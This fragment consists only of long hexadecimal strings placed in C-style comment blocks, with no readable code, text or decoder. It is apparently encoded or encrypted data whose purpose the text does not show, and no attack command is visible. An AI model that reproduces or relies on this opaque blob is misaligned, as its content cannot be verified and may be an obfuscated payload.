e1ae36a61b8a29d70a6cb3800b295e396bd34957832466936029371ea1aabc6e0dfdd9cd9f9dea619aa2f346aea4cf894812119473dc557ceb389845a2f2e8e83b3493cadb4a9ddfb762ff8e82b0d418650a775d3d8e3ed3cc47a19a356c28dd9b15b33712097ce1e187e76046ba999d26543c3d8207f4d63c836b8752b6d032600cc0c3f1239a19265b6152e1431e72e368438ca7c5836988fcf4c35010f150eb11b8180bc0614ed8b328f687bc5452788d7ec79a9a32dd50d1d9ffb57fa9c0adeed0d26b438286ad800d2d2794f37c41d107b61216579f47f17cccc70a0a6d737872b4e165911c778ba84e1eff2cb12e47c9134845e31a700fd531ec1e5923cd7153aba65c046a571bdfe41eea23ce9a1117d346abc4100efbfc2055d22e330077294679ea2a021852041293df8fb9685d8204c2f130b9dfd184fff0c0a2530959dbee523770a91897851d14cc30aabd7dc81a3650074651418de33c999c0f3077c0524df7cba411ee8953968c3e15b9cbf4d8a0ed4d7ad9ceb8066359ef0ad68a54f7c7dc4a038ddaea90af56069dbc99ff1da21c2331ecc6f090543678d35de86d49c58ab84a060cabe02851b2ff55c78c4b44733b56af29e6891f694f8f0c5d210b13ee4b8c65fbd53d805570107078a6c24286150d08fe546a3c3a3d5790054a0385d5e0a42de1b97ed3dea812435f0a160676dadf2b2791b77d0307da409cfe21d99b168722c0986e00f0f422ea2383f4b8db03254685c77434b5a620005c020cc49a5bb4356ecf28aca7f909dc9d1f91645d9186047f336bc719f435c25670c9b61bf25c0aa7ff5e59ddc434f11a6425aa3f5962aea73e4c97e9fe4862c134b8f1740af6524b48f8680c866189acf298475f6197d27bafb90cca601abe69d2ff8eb876204de7c80232e467b283ea41933d819f755f7d96ed3e706c25e8f0f5bc5582d25eead51a64003a97dedc83dec18cf013ebec154b0e64b623d3cd67cdb3e1ca4a2803d73c6379164c4885ca287a4f550fc9e072b911fca869643d39a8fdfc8dcfe4d27c28f44b88502eb86e3bc69fcde7a524bf278b3665a0b69cc2f7d8afc607f602a61f87400736b0e6e0480c14f6a6eda58da628ece85960d9b396b6d9e3630ffc1d6b03e10a285ce038e08e567af077effb5a24f358c098edaa67f6c19daf0f97a7e1cb0155ad77ab4e5e0a33d24e7a914bc78afbd55774d0b37cb7b00dabcd28872af0559f776fb0cf8a0f164bb2f6c00174db7894a35ee4a6a216febe080012302fa628b93081c44a8ec61167df77ea8cab6289d8d89b75f52f644ef0567b162fd2b81a051923ceea418e99a7432fd28b21a4a804*/
/*760e077b5287266ebfe7fbf1da29ce05286e124a441ad820ad0ad8b02ba53c149cb1c4b9659a0ae890a571b68128e808728ce33672bb774667be1aa663fd2316de2bcbe552e491866d04b298ed3c955ef992afa7150caa6b4027e9f210ba2323ef437254aa826d1e2bd96497e2a5a7af50d3e3340323a7e9aa7aaaaa81598e288c19661e2ee50478af3042989f99160ae66ad42ee55c884c0972ec9cb2516360585a11713ffa33f4250962043fb153fb054d34651e0ac341efdbf1f683689fd061c1aad788e5bc2f6c7ab4a51ef04e7c9146299050b39791980da197c15c95d181bab46bc6046534e4e9b596bab3ba30d3251833b6afbf5c2f23b5377a3485b210f4342727221218dc1931a1a29c9232125bd92978105e29962291403aade492986976846950d38bedac2a9dd44be34b9a3cdad693678f7267ed9b4708807b1d26c13c4652a74db584ba769d6dbba785c29460e6381a72f1937ac79fcab2df2830cc04ccb38fd2bd93f4f0661c67148a48290fcfb7a6b22cafca94d4a0bdfb9db1b18186231130e36d0bb8b8a466f5ec99ef5a70544e7220e53f5a6a81fbe987000ca03d60fb46676ac0585b6cee53482fbf8b5dcbd81c06c1c7ea4f6e670bd3d8f61f0116b7ec8674fc4904093efcefe21845edf46a2ca2ff05147f1b74dae5f6ca649d4f5d331f6592fde14980979cb53c9a83ddf5c7d34ba26b2ab5cd7e580bc18462c71c7d32813b2555668b4af941b83ba1b236f226de11b0616d5c430d6832aa4fecb6cfdf6274164fc03ef18f3841e2ce680c8284929dc57d117f12db27050963bdb90cb874132795de52cdf789f9c834cac6290a1bfa0807109b52fa4fd2079fb4ed694df103550a60e7d9e46f5220f85883d9c99e19e8c77a2fd06da34970b20cd8316fdce0d2f1cb3f8c4f6508ff4d1a7c9200adcc57d0d4e9df5325b63a73a798adf21d7a113822b14e9bcdcdc918d95f260e3e3595a050445282fd8de30386e35c0f612fd51dc8fd857f1b65b7330793722478ddffced62cffe2ec4e097873c4d835a513556f55ccd33c57932124ffdbe5a5242c582686b8cb66c8f7d3976126231f39dfc9e93c069e6736940f7ea06fa42620b2790c8b1a919a06b9739fcb5f1f4a11aa5a6505ef7dd7025bba17c3c7410958f333d62367837bea952322f8f099dc53882d27eb47d8c8751f8934e10f27cbeb025ba2bc6b0f9d95ae17e463814bdc60517207aebfe1c3544959aea09ced98d51efec9a03f85113cc0df54d9aff349e73bd35ffb3082ce0fabb7154768987900db585c8dd079edcefabd77f44c5ede193f7d2f5dfda0fd86319f6536ba23bdf13f1f43d14cdb1b564d9a0dc5b3e74ec5636965c97a2ecf64f5e8c63656ccf4ed282b02826a9dc9551e9677f3c7a47e99a7f246e993e030dad1e608411ae4e0d5a5cd69f153c314fe1ae3fcc3c0a154246277b9919de23bf440e597dc1aef63f68ade7aeafd5465471f309a7198109a73215e4e9e082b2a8d282924592c55396cb43a2cbbf935f388a1c50f4e945db79d985fc144339ad776a54be465826f7a160a39fabba60c9d0c43dae3f06dfc217a3d3c5c47476ca9d772248eb6f258caf704a7a855a2befa44ea7d7cf6a92874679766bf9146d906079383d9d375d5b5b954b85ce2b0573590e402ca08fcff956da2671a2923351f7be3660c7a4fb4d0db22200bfede5d71649be71fb46ae8bee8c611038399cdb9513fa19d5c3f749a6b80c6e4ef5703167e34f485ef55b3ecbac95cc9b2c6909225e6f051b0168f04c171ec23322831e424d5cc893020dc4aaae486a37184e183fb20a626b9135807d248f8978ca3a8bceb77a33fdb3d33a5bc03943f779e6ddafa476be3c6bb37c7649f20a8a2c5a269e44ba8c445189ae7e326371abb217034bce3c826f425c7eb37a31a04501c430b660852cbc349857042f268e5ea49c0f2fc7121f94e3856ce8ef1d0ebd9df99c9e363a3460451826a85966193b46c16929030aae81e00382127da372ab9fea5f814859e9a442c035e9e58ae4ecfb62579f7b46e3206895e93306b170fc8a96d059d0e73fa7d15a7b7d1107e82ba6ee08ae0fe453a3ba23b9a785c465dae26bbd421563866cd3b1cbd5d665d282989f37ea7bdf1defbcdeba80ceb86398d30d2426bbd889eb8e6ae6d0c356a1b41d12d9ff6a409ca353f915b21b8c13cb9e8f45f2abbd4f2a0fd0998610d76945a3e36645964407234f32b1badd920773fb03e708a5288eec3828a44cb202e4b6e3bf0f30cbfd0fcb90ab01f02e215796cebc86406626d26bc5cb4f953434924e358745030c64d05061d42745bf0531fe6a5cfc197a5f2251dbb0cade13d7fd6ffc0b3f068c533322a1eacc15ff5e5e23bc091736f02e3fcbd3f78235b226acc19d5adca3097c1284f8053e3eca63947f16b5195d41357947133e3f7fedcbc832b9b6306d34ec46e4c936cca89b20d1775def284815f2311ba649250abf75dc25be63e2b0a768cd6db3ce5eefe69a2e61dc7e3af05eb85bab6dc8967f9bc7c3900df0fdbac7ee9b282838a2b79532cc943958431a52f0dbf2997adb245bf90edc341e3325db5d9a7a0ced5319ffd7c7b167591518291262482799225c440ea91b2fb105e4071c79c38d762b157b906d9530bdc2534702f2424c51ff55ee3efab22d0e0a72184c300e1298025ceacec44dff66f43b80ce8f34fa5673b654b99c9bc9edb260ae16131ad21add106814bbace09264ec0a1f21f942aff93194fb847361197115931a725f479e25b2004a5a4b7e3f7aacc73794a9a7a661bce5f6706e94cd093*/
/*7ce2f1f60c8810cb34beda1b0174c37c99c18f50b901ccceafad6bd18f565bc6e6e77d0db03cfe8c92fea8934e9c01ac5dc58bfd7ffe984ee642dd3c0dc374575fc959846e0ca51422b2b20c75845ba92c1b4ae0aaaa59fdf5422ef6731e5526f87a8e4ddc5eca3bb2f6335b47bd047e6b121262e5380939217e96edb25f799295c48e54a3b057195bbe5d4c287a253fbaaeec6ca0c98e97f9ff5d363e95e3e6f8bf690ef22be1310f5835c1d0b59b5c7de09cb389020a8dbb572432a0e5548b5318c0c9a63e409fa697bf3cd59f40e98b4a02578e521bb56693223050ce0f623fb31666fe8ebf44da20e20e0ded686a3b6fadb206fcd9565dfb3196cfa642d5ebd58c9ba59d50d510e1f5f6e820c1234475019424d254d916e34852d9a171755b10c4128e7a247462d27b41488fee9235e9f6a2a5232c7f331438db5608d8a5e10ce21b36f0025231d3930f5e0321d796a3b548b7de1a010df1e913325e59cfe1badede1d792cfcf06c78e5752215298384114a38fb611a1eead53918c2811fdb7570c4bbcab9b1d9e1cd62dcb071754a116b8463dbf95059ff8e05d1b607dc52a3b1fa01ec707a5d956f52aab8d051c012ee5f6e642eb3da5a978553162a69432fba067a2617e050805c6ce8fc74b7b3a9baad03770651c360e072fdc75524d7719d7622e5f884efe36d4c1e11022bda684752483e02614534d7284547cc261a0318cbb34889176402f6529f69f3360323ac39914651d52c5fac3a767273ac48eca1b2189be38410dbdc67d9877a0140fe383ecfe773e710049ccd6cf7db6a47a33e58d9edfd34f6035bf7c275a7031ec7affc862763cbf5b7f4a09a9e877230a51107a16627890d0c92eb530a3312c592c3c48fb95ed098fa0733cfa43317f7e36494cdcca052cc1881c56fd27e97df067c2a9a670ec07cb785087fa1c859b0b48387299f674d60834eda353bdd5e0b436805ac6a33f1486f35bee2a27964af6004d99dfa44650c46c9d566323182aa0c006917d2dcfead917d4a04743bae4ff9bf652934310d89814c30e6274e5cac64a8c7a15ee9159f12e0ec9ff00db1aedade1d942a5aa7de0e74eb9942824406d12b8bf6d769881556ced5c7a06916a61bd3e051d464de9d749a4853f23815f9b2ec9e1dbf7546b3cdac2ab634d29a0b051a7697eb6de48e8248d3e94cce5a80a1237f314ac01c87df52161a812ea6669d712fbafda4eba1382bdbce4a9369dfc6176a024da722955acdceb9b63cc976e7cd95ef41b7691962242ecd670c7d7f1a45988ef4b2c42fd9ea454b800cdf02be407b9ad405b7e27be027505c49ad1bedae3fb7445afd124a2ab15f716a213a1d9837378550c65294ee504b8f5ac9e61b6a7fa29c310436bc6b62005ab66d8c5e5c4a198c16418dbc337a598373850149d135d608b68f54645fb820f869dc6ee8800733faa673d4161253982c9e6fb455c03ee25b5a132dd8fa6eb926c5bad4af630d9a69a6273848b4b1a7601b59ff1b3ce6d15a7a031782d45e4de9a99582a0d8503854de1dc47a1c9ef654f487c29baf6b63c167d134ee8ceeaa1b89bd8c06b2832a64ec6dfe344c0071f9fcca097f248d074d67de7759d167a927aa50d646cf092ea4d5c4c5bde11b25b923720423d7be19ce41fd67f98bd69edc6a0d3de004b99f265b130730b0afc90e33759b0cdc50c5936d02786e4ac4029e1a13721d5b1ec7dc43c73185739e8a80f7333fdadb81efe4e8c8d3a201225772dd086195d044ac1d988fef02669d494990f57043651d063151081f05e10e9f63dc90156e694467871b619a3a79f16e647f6b684f91328f58add4ea7d9d1ea639b4f54b18c5948e0c2d4871a27a84573e6883c317b4ba174a78052368e846bfa2854c79cd171a11a54e170f144043ff868e08ca5a92b19f4a0dde011cddee161970b46f611084bd9e1f9e31c510f95dd28b6f98d4dd99d76caa7e8775082d5a96c49dd4a1e82d7fda0e660a9c64b2e8c476d8584fdf8ef3ef41e636a4bfebceaa8de3fc707c675d896067680e1a43b958a00e68ba779643c7ddc210f5d763766b4d461cdfebb0a9ac2793ae0cb9adfd1fd3dc2d7fb1f63a3389dc28be27a63a2742405cf078bcae5f3bee0b921d7e1a1d16da9d98aae1c83cfe8c8aa9260cf5b4504d7936c6658dd5c09af60f9e0d0b02444d9547efefe11cbaff40c1d6fc77a883bcbe893946941ab37c71a1ff952171b185b35ce3b80277d867dc36cafc2f8580e8be056b2cc7c0321e460171ba483129bd85d9a3a998b9fb1b9ba02cab540d96c2d7d1dec3cc773691b548a8b39df7d5aa3aa01f36220e0dd0383f74dc064a94156420191844453a66c07bdd332c7d99994d0cce76cdbea5515a49660722a9a556e587e1c9fd4fc66cd8a3ea654fbcef465ddddef17a57a7d4e54e701ed500a879f0a7d8d4a4dc203ba9e2301906697a8ac87ab27f71da66e08a77b1da63199bb4ce75775b81fb099f2d806e2a0b1397f2c8938843756a0a4ec9f08c87c35834e06098a8ea16abec4e22518286dc18bacd5161212101948ba7b0b8f5dbdf98f2cb98bd0567170605f060bd8dfa4ef2eee3a0ce670a4cd5c71850cf67f4ee0c9eaabe863e14395ed7ed4cccfbd1b40fbb3311cef49e7a6d3aedee7c1818a833547d3f997e69a8dd8eef31107d2756de54e7536ef5d7e4c7d99b3bd813ec19016c520f24fff51d3bedf47c11bbc53bedf83890505c1c4e2ec0271c8c615fbdea21cc9ed91cd420605cc02158fce5e01abe89ec1d4c118c13f64c0b0ba3f22716830f852cd7bc0b254d903a21dbdfb6d2426b*/
/*5a771d1b20731ff2d03b487a442de27aca28bd0f8d82b3bbb73670d6129ae2a9706b0ee603a4f0983b75d895360e1e680e308bfeb020186d5df977a60c9493e3eb3d9b0588ab3618d4e1d4245ee4362776a8d7754b5236e2c71d4332bdf7a97384bc107876a5553e0df98bf16975f54c92ee51407859aeaee185b758f75ba375720e145567d443f153d8137efb3cdd673ff93d4c5ef3f82f78a3c85714fac741fc10157c87a53e3eaba6bcae06851586ae719361713274f08ec1207dc39f8f3739deb7035ef43347279115f0438e9056f8840f763e4e0e1f6be67aba47b13ec7e346113187a30c71621cb4eb200bcb69d9b07d458b09b363b55de138b4f5b1743e9d4dfef66800246736d513fccc4cd629ab39ad072fcf93f7ca5eaa8cbbb9838c8b6d7f8373a6b196938f8c42f6e7e3971abac6399195d82791c04da6d5856ede39e12569a56ade95c2a690ce5651b2ddfb0b89b575ea5eb3790650b088f6a13340cc83c92ed01fec9e37c93ca80f7ae667d18a0313c38493d5ead2bdcca421906f1614711559626b1d18ff4a7de821036312116658782be039ef92cdd094aa705ad02911b8b5e5ac82c3ff97fecd3f6915587d8171c30875fdf6ee599828dc948844206806d529c4d9570cfb454bfbcb108ef68d98c46786bb3bc5d6dd321410f833d12c5ed1f2f1620d0d038efe22190395e441fa37fc24913b551e435748f9e78c67c4fbc552ed2173c9f39c7cc938df715337bafb77dfe1617212783dc48a28c01f98c8d38b45146733fabc72e6859f03950b1c9e5620fa867213428cd68e63c94e94e43d7a0864041c0f32a20d7338840fe7ddb0a7baa6cfa832cec7cbee4b1bf42eff5e369498ad9af7f398a1eaf90760151a99f740fab2c5a5b1d55d5cd26ca6be441d0f517898f11003be2ee7d737bfb0e4e195a17e2054e9dec11a26a43f5d9c62449f9b6ae56ae715915bebbb7517b66bc2d6eced5535c629065b8c8eef2673be56d51540bf71f3138c97fbfd6708daaee7c78c6759e993e5a4c92f33b412ec95c43e5fed589140a64e342c1e4893cde4832c927e2a180b028d1c74e8167aaad9327a43f6ad9c817d6c70cc8a4e7f99e0d90bb8f2044b7cbc9b4c801c492a1d0190503a75b0610dfb27224ea8bca4b07e574763cfee0fbf2dc55c0e907904c10b0329822c237a28f8d62d860088a65e00ec626a6e8ac94dd4708499835e42955358aac60cf99b1c435cc12a7f6ae12ecddcec3e4dc46dfb7d935cbef7b2dbea1b5c79b020f3cd1c60a42c743ddb862da4291b70c08c293fec452e6b44999267bb582b6b5314f378965d694c07caaf4c24d7da970d95e0218e18fcb90982107f1cf58ddffed6e78c2b83365d7e5ce44e651c70f601363398213af62ab64f4608fd3bd28ca5a66cd5c98ab0dbce1d9cfd460526bd90ba55f37762200f5081ec7d46c1dab12a70831f1486e10d28e1916b36db3bf6f6011bc53643ac97f80b8665d8d7adda7b033285f48f3da9528a4a9b8326043a37cc5374e9fc1c7c8b35d77e37e54f8ce3ac8e801c135abc40d53367526bca9910fb767e018830e18497e71640a37a39f2fa714690c12bf356cce2599cf9d64c856ce2e6b6489d53124c9fb248db24945009e41dc15945ba6a5cbb118c54e50c28392d96a1742a63de16c70801a58da74017054190903dc534d8de11afc9febf79bbeb2fa53f1a0c4bd0f6af4e4270475c5b9ec51b45507a0077c3902f00f7956b847d503a758c6d14feab9dd43980dfb0d08ba39ac455fd6452567b44b3bef189361bb42424e71a26c40d2c7f973a19b681c96241004c2e0f1e10942403c266099a8e24d315e2b2ce2d02fac52996c13ddfdb9e6c3d2880420f692a59bf39851cadcb69b03444bad1919a8a64b30c251b1649e4645d7d7e4a186acc859378dfa37bc9723fb648d30a7ac2f2e9482555c3c3655900605101cde91d959520ef66afc76ba6de48935100876ca65c5bb94e6c774b67055c27f4f8d0b3428d1887337b9fe573ba7c0e752d2c7278e48a2d0c0b6476acc54b23e7cd4ce8e140579a201b05b20a5d10ab5063adb4e95a3aa8b534e7372aff4ebffbbfdb73b3f1350eacc4a5fef763b7427ebe022b320a63a842266b24d3567eea92f1d59b3b0b37da3b2ff846c0cfe44b9b70629fd96cfbd5934b7b3defb5a4f83adc7ba0a206d7c03b74e69d11bc69eba85f6fe7fa973aa6d242ff9c472f7c74152e9b7222eafef61d27d922782b0862c6a74edb63f15a5fc319ea7b8530436eb3f91a754948340af456e43b07c9683023efc79bfd123df6f4124d11b58c74ef74df1baac7b99021c7cd8eb67d1b4794bda261a9671476fb39a401be0a77d65d8ead78a4a6692b2908887dfbf4bdc93f775b3898e305ffd27235c4142f2d81e334a48e173ea34642edfb75e4e069754b310c93a806604741273acdcdb2912c0897cc92a75837b4da1e7b96c3bab4c43dc504a280358f4c37a18ea624914e7f5a8534eb41c7124936fcc657201bae345aaef211547d5b77bf34719109234b98e3e526e64ec37b8c08e7e0684393ffdc218193152d4fb3686fd73325b6686f04e49487ad90ec27d0eb8f4045f5ac8e9f96618f5d554452e7e6e50b5fe6f27d56dfe906a39031440931a8859d0b8cc59942652d5bb33a67903973a4c689d01b5d63ea4541e3c83b70ad6f10b3b28e4f17f82f6921425d9465ffd3fd7a7096e27c33053d284b3278f44647e41ae55d2c9e83150ac4b70eb77d246185fdf6a7b3b608cb4f4d22abd4e97b40d783df382d15f4deba80e17bbe4bbddb879b9e4a517b54*/
/*13f1775cf98057f99ffb3719924fdb33538dbc9bb55aeb2d696092fb7dd188a086ac9dc37dc0cad6047e860122c32d5e3dbf88548cad723eebf66e7382925e5145c95493a140bb08e33f809e5243968824f0c95f7e8fafa8104414efe80985797e3078dbe17486f5e52b1334c7f99bee32d546e7c5694390c516b9752ccb56f777699f16e703437c9b02990fc1002c9c3680df89b6588346736e420747cd43cae32d87f112d2efb7db44e996af327cbc553ed50dcbb6e75f7c8108b4ca6d51fbdc26ce592fe09269049a063fb913c50141e61cfa21beabeb043266b0ab672c70cc8b10bdbd4c866916b0c9a2196edaa17ecfcd139f49bf31b23f895783dc29227446ca281e04def734a901067737fed68699ec5019eeeeaa5a83b65ef883321efa9b4f7967663e49fcade2fec631d749a0257b479e2a8ab6bc9b38f2192596c92aa745e33d78259708ea6588296ec3707f99d29ccb18ff7390d7514ef0008ca0292209ffc7f1b51fb16a0c47b053f2ec2d9745951368d96ed74b711df3a8493ddf3ba66791a3eddc185a7938fa30464b43a4b57753224e12971ac6dd1bf7bb9e3265784b0e678cc637a02c7dd24847e7ce595d0678213157c040220c26f14fca1f9285d30d3cd715a6493b418e35104f1893f09491236feb6c68c39fe674b11aee4aead50445689207cb025c243e1822ac75134ef8a15b21d30db1696f24f10d2e163815ac0ea4707dd757ed1e6158586f520062b06515881d17b8bd472749e185771404b348783a459b4a4735d72eb4af7a29f8288596071fb26dcf8ef93618295ee2217ed376a083434b2db139ccf89e0c8813ce48eff44919fb78d6f1eb9915b7cf32dfc02921117530864b2e0756c8dd8ace20470e2681f419fe5cc8bf0fd882d31219ecea718c5e777888a047242e2eef5ffd9fb73936156a2a05b1158a3c6f1c97a5183f662f3c32baad792823684350b20c6bfc38ceabb7c03ec812754616e206a0c409d0e483682832b1909f996d4b855251e7aa485fb142e4c8112fe805aed6a22f50c95bf35b74756ddcf1aa6489b1bf620e309e522a5b55a9e6adaf3b415e7a4bccc2d6450e3b71a32f34c0153f45787f223f670dc6890362553cce2579d27ce6b53dbdeb4b7a56ccb52ee623dfe9dc24bf4915f223b615d2c2ae6786132f5dea658ec7cd2acb1d9a81dd7beec83666fa797c85ab3da2bf0e0876f6abe4b34041c6d945598df0c245cd14096924aabeae123345288f53871f4493479aea1e04ccac40eff30d573160131d1f82e67e09738e84e1f7388d721e7b5936a23c34d1740bcf19f374058ec6bc2cad1018e47b85bbbcd2bca312dc2cb8e2e79da02ef32c7dd9841098419bde5aa96814aeecc30cb7ac4ca50a3066d45b001ac8a7887105a2c11fdd4969c8608efc25faa75f98958a9afd78634bc09cedef758f3c6ef85d4d33db1339c59a0471a92728e2df6cd65d58f36c9af275a173dc04f8d994271822ffc814d19b3af827071f851c2f0b889ffee1a0b6ab83ded93869e419f31fabe65fae97be3821d2988f77ecb80332024b5895b8c92928689631cceafa35e4f770a11c7880d10490b1fddc9b60980cad873442267a114f8c6de3eea8376ad21a876c7b0d31c9ba8b7b68816b7f6c79821932c7b3fff8c983e3355353b7c1267cfc3075417540914cd23f658ba5469e4cf4df748ddda9854a6a29b131e1cf5e9cd9a62033cffba83cd5e3f6dd6152604feea2f10272bf7fa23a49f7dc5890722962c904606e38d11e0ed9fe9f2d01e1513c5dcacae641770a7d3f8dc11ee5b9b84129b7d396a145f83beaddd55f6cfa8f3022ace749cbacc05c397e209c9dce25de1d96f56b99c6ae8f361f4515edfb7e021b4158f302af093fe34c4c12abf2992ef37c97c4933bd0a0c3b855adc4bb0cb2ef59968f782d1044066024ba4c3f90fbc1a3745aa0375f93cda901622e83e2ccc1d8c2fc4ca86d91952885ab5ea236ba2abeab83912c2c89775df1649c3170306423492831dd5c998a32c065c1dd8943f4bc5f4689e8a027c7efb4527516f91407d4b6fc18596d9636cdab5d622d1b7710f6524b86d499abed981d73dd041aeff571a7c2bf28f06348179190f5d376aecd42a4c6f45369171659472c50b9ca1b08adf1f3ddd3fecd5f90220267e12a440b59b7205e3530f77e6a23f52edd363320924359c516dd71d6a1b0a8f4292950b36b2b306d3d893fd5e787b1576e6d2cdde67f34fb29529e6251b5d5087771eafa3f9d2d212553e9bbccae0c6bb80a4566f82f9069385a38cca584c2f86e3506d23c201d966add2ce0404255e84243aeaf50f815e5684cfd64dd6788339f589d7c1df046237249fbb591b00ad2a93a8c2dbad569133066115dc010512224e982de70209e0f61b967715e68143bc73a44fad21ee3eee751a227220e68219655a268c1e21b7e02756d4d34b1f859dc7048eb72815e07ccac4579a414a4866aab3305a88d182071235f17dbc5af8554ec4819187f93fada0d6bfbe400c6a09c74fa13cd53f6870867b7535d2545e567f314553aefedd6c32d0b08f738edd5800666349f3f0413be07598a3b1515ee9944b0aea6de106594e9b1cf81b826d0971667201a90bf378420074f09b16b16982c81d18dd3035397a0edfda06f06039a118d784d1283c98ff4415945e75870fdc756627d599828cfc99b9f3df80248fe3115e92791071af14f6a75606bc4fa42924a1126f7dc039134182df54429f479a286cd271cef5c1e766a37b443d393a2555fc5d020a8295c24404953ce7359cb37b6c520b2ccc9f3099a14*/
/*0f15806be2343915bb3307d458d83220f469d784c0fa865c17467b6c9d1adc44958038a7c714034239a0aff8d705b7ba0cc5d69a2fc756e4676e745353c3a83bc6a7db9fb8d96e85e24540286baff666442b7b2528ba39d8eaefbb337162b55cda9dad984b27daa9197008930a278cd447a29a80dcaa4b640e960af897af28dd3b88e0c7b87439817b8cfc823e64e441af513dd83f936c678d4550b6e3726799faef5073da6bf49eb8e8624b313ce43c0ff517f57533474a34476c6e9dbceca4d5f33345017110e905f83080d5a3bf63498afa697b9f70c38bd2739896c7e2f15baac92fd79dafab80968ff350d03927e789e035d2df5f2b1bb64dcb13065d6e51e060949b6cfc38be02f9b3ef6a09aa5843c199077cd3ccf872d24c0708c75d912a7180f462c1fcbc73dd875e948539931950285139117329989911be3f6f201320092d527dad19f122e7460be4da29252ac00297de24ec8a14c6f7daddbd00400b1ec09489cb8e5f71748b22a101368165789b4075cf0a3f260bc9ac761ee602592dfebdb9b5ff8ef4abd935225bbc693ed0436bcbdb4cedcb5f7afeb0554d6dbfe4c941bcb41ee684af715438a9fa9cd42784d1ef4ed1ebcef52910746304d72eec46e4b9460bf57e18798c20091d9d9a2ae90056e8b48591786affb9459525f897408caf85c1d51abfd0f92a0a734d8c4e19e47051dd4dfbed9874a7ae4cb19a680d0bd1b644c08fa56513a24186825001cdd18ed00550f67153ba32eea89725f575443886ee7f11facb0aadcc681cec4f3685fd5a7fe7a57b6a2ec5c4c622deb8f90d9e1a70acc00502d388b3d4f66c52c7a89d37170ba64177a3518111423c7980d89cc7f324fa04b83d63e85ab78aa26099f937a0c72db151200f47340c9bf11371d599158d004ba97b09d4556dab34709ae5095b29a4c147cd58bbff03d9a155c930bb4a40bfe7a8355a35eb5f54d1f0f59eb93afbe21c24df0375b617efb6aa47c423a4fb15cfe6d1c00e5a1a185328d2c8d5b76a550c6c24821fe7725d1bd1055549be5cf0e1ae89a82c6898f46fe143cbaffda6007b45b5e08a7441803d65afdb13bab60f15924a03108645900c948d0197366c15fdcd53e0edd30713937cf95de43b9893b1bd7b7e8ec6bc5229b81da77ed597c218e4f719a743e49979ffcc021142ca25481e1289a808040d1ab5820e7d647a852260787b026b22a13964aada2a60cca31a0f689dd4ac455d4efa9f5ad0bc2abdb027a860aa896fcab4e185a2c26d958581edcd6c5acbb4ea527dc19db96c350ab9172fe73828a6ef70249b9806ddb585c09df4eb6689e9d22edd8651c4c19448ed12ff7bf0ec3e030d527a5c495a9c6f07c0e5bca0586b50364eaaf4fe39eab5e3eb914f2a569f907707d9704080e1ad3ac718f6b500f05a8418035f35d2589cfe6a331b3b686f519ab95bd61b974351c51864e62fba51af5cf9411dbff74ffe5fb050bd3e337bf33d0996c9f4ced2b0126178f17f8f43653402165bfd2fb8ff28dfcb177bcfd48d3dcade3e138f9ebbfaceb426dd3153c5ee1a01ea13b4e2e9883cf4138c405abffaa3555b3e18023902f54d896a6f4f5cc2bddaf1cd0a094084fc00de722793216437fc48e9e38ddaf08ee166e42dc35dbfa0e8cea1126d5ff5d921875db0b9881cb958e541cdf2bcffa3c2d62f557cb5a812efda9237218f6cc0d37e135b0ad029ce7b6883f2019d7048ae7bcc7df4a95a79fa06a837797423556f6f773fbc3c624dd11c0e49e8bea5841df5bc3115310d77dfe36f1344ff0a7f47644569fe201ed1b9312df766817de6c4ca25b74c75b2e45ffa020426356593fa2086a49d54c626f1329c5fb9c1b5b41810d18e7fa8a0e0627013a9efc00927e79f4d7c37a890b20a83e10430170742e6f7b751fa81d8d40fc3e16d0b72610fd1bf9a65b61ffede1cbbc36a05c145b17be3690669ac991c3918919f6e9f91c7c4d8b96477b051599c503ac67dd69c56750bbe1c53ddc8851d60ddc505a6b0531e1e7334cce17310188f2b3339221eb9cc1b466fa2ad1608b55f0afddc33e82631ce77d1f93d51c64076f7c80107c611dc4f16b478a4313161a6c0767f1a7599020a28a52ce3eaf9d03d22679e2e95fc0d50de88ba239324256048ba3b2e4820fa459df3d620b2317ca0b5c878ccc19707d6e494165b5f1a0cccacfbffc252a6c56f71861d33f04c5d0a559a4d8e33ba18432f9103d20466cecb0deb24339bcf3096ffa5b8f2729d26d04372945b43c896294143b467c50fef771f053507928b5cad8cd47d871f315d204b3666145e0145af8b64770d9631e3ecec2d75a6e636d91eccd0c87059071d94ba2b8fea3a75ca35f8665aae9c14b2b18d4f70bd0953328fcb0645c3144a167e10b407f458456d9eb48ea8f6a0e74d68511df69a46d6876d77b99e84354a88bee01da88eafeb2510bfa6ae16c2f62adbb4604b46e0ad661a2d987e537d54216497f278fb223c37d41400820149a4d2a9504699021032862a55041b6645b866cd8964dfc072852a6b06c285a374e345c394fc794c3373635d86528da3e8d1d305077121bee7e0ea20ed3fd0430a969afe55ec3f86ef08a27fca8153c3b20a45dce301396e4594d0bb73b16966982774f5463703b8745e40a11b4e435a20cfbe74d9d7ff9cfaa99b49b96672988ba18676326696e4536bfa40eab329db199ec4c1be33374bd4fd6db28f11935c66fc54ff6ae36f017c15241dd2a2725f8c9dd14e5358d59cdbdf52731c42679e085d6adec9acb2c4f94498a9207665e9be658e5fd963fe022f2a51920c55*/
/*05ad64dd866442598f1759865041349f3db131779f01265c6c4071170c05a3681b0655525d5726423e425f29e8348d814fab971636cab61b88cd4a5a501ec259a78d0ba25ef5783634dfb9f44ad36298acc852aa648699345df4a3673246a80fe44d8fc36f30d9767de2b720cb7696a7aba340c79ee4104d354b109f1be3f4df0a3131393aba5c6894fdb6f4048dc0b9ee63e8f9c30ec5dff8b5dd2aaf578e1203a94fad0a89fdcdc18439da20be1b8a52e55af8a4fb8c1b12ff5774b7c44fe2e74157bfba5483fef9da3c1ae3a062f31d0eca67199b98d280c015e53d9b1cccfcc59beeb18d604690afa26cc8a9a82428233bab58688af5d934fd3cf3c9d05bd4c39b88de8f553e628fd97478a28d892083fcbbdbc952efc1f6570a7d6ebcc2a774fcd4b76cd9849ef5c9b6a3bab149771355c78f914ec8ca7dbb19c8ce3ae4c1614d4ac5c9d09abd1eb7d4eb2f65c5645351bd713f115089fe298b12112357d1694eeff8fd2c448868acd2fc23077d1b78a78e35552d0ab1578fc1fe16dac76a0b3b0ae15307cc3c5ac5288f823b0d6b947479bb5691d33dec3ee522fce4613dc3f95412482b9e4a315527b2d7c9afc8408d57cd5ea2e42d69e9c630bdc3ced5f0e6976ab71d2ba06e38ab7d060fafcb78e41106e00a674656a95fd0fecc9fb44a6e1881329d1f81d0e88fdbef48d59b3ee9c8afe0885a81c773eff43f0344af21770c87b537cad77c3d0ecd2146784a8b2566b1327b29ca2c10248e41973270e5ccd8bdc85e4673e9c8292185900485d7160e158a72b67ba7b7a3cdce26382fff2b4a1975cfe031cdb715a8695b6a86e4e0fa837f45ce4ac7aa4cd9cb60929e1da5a6b63e0bea3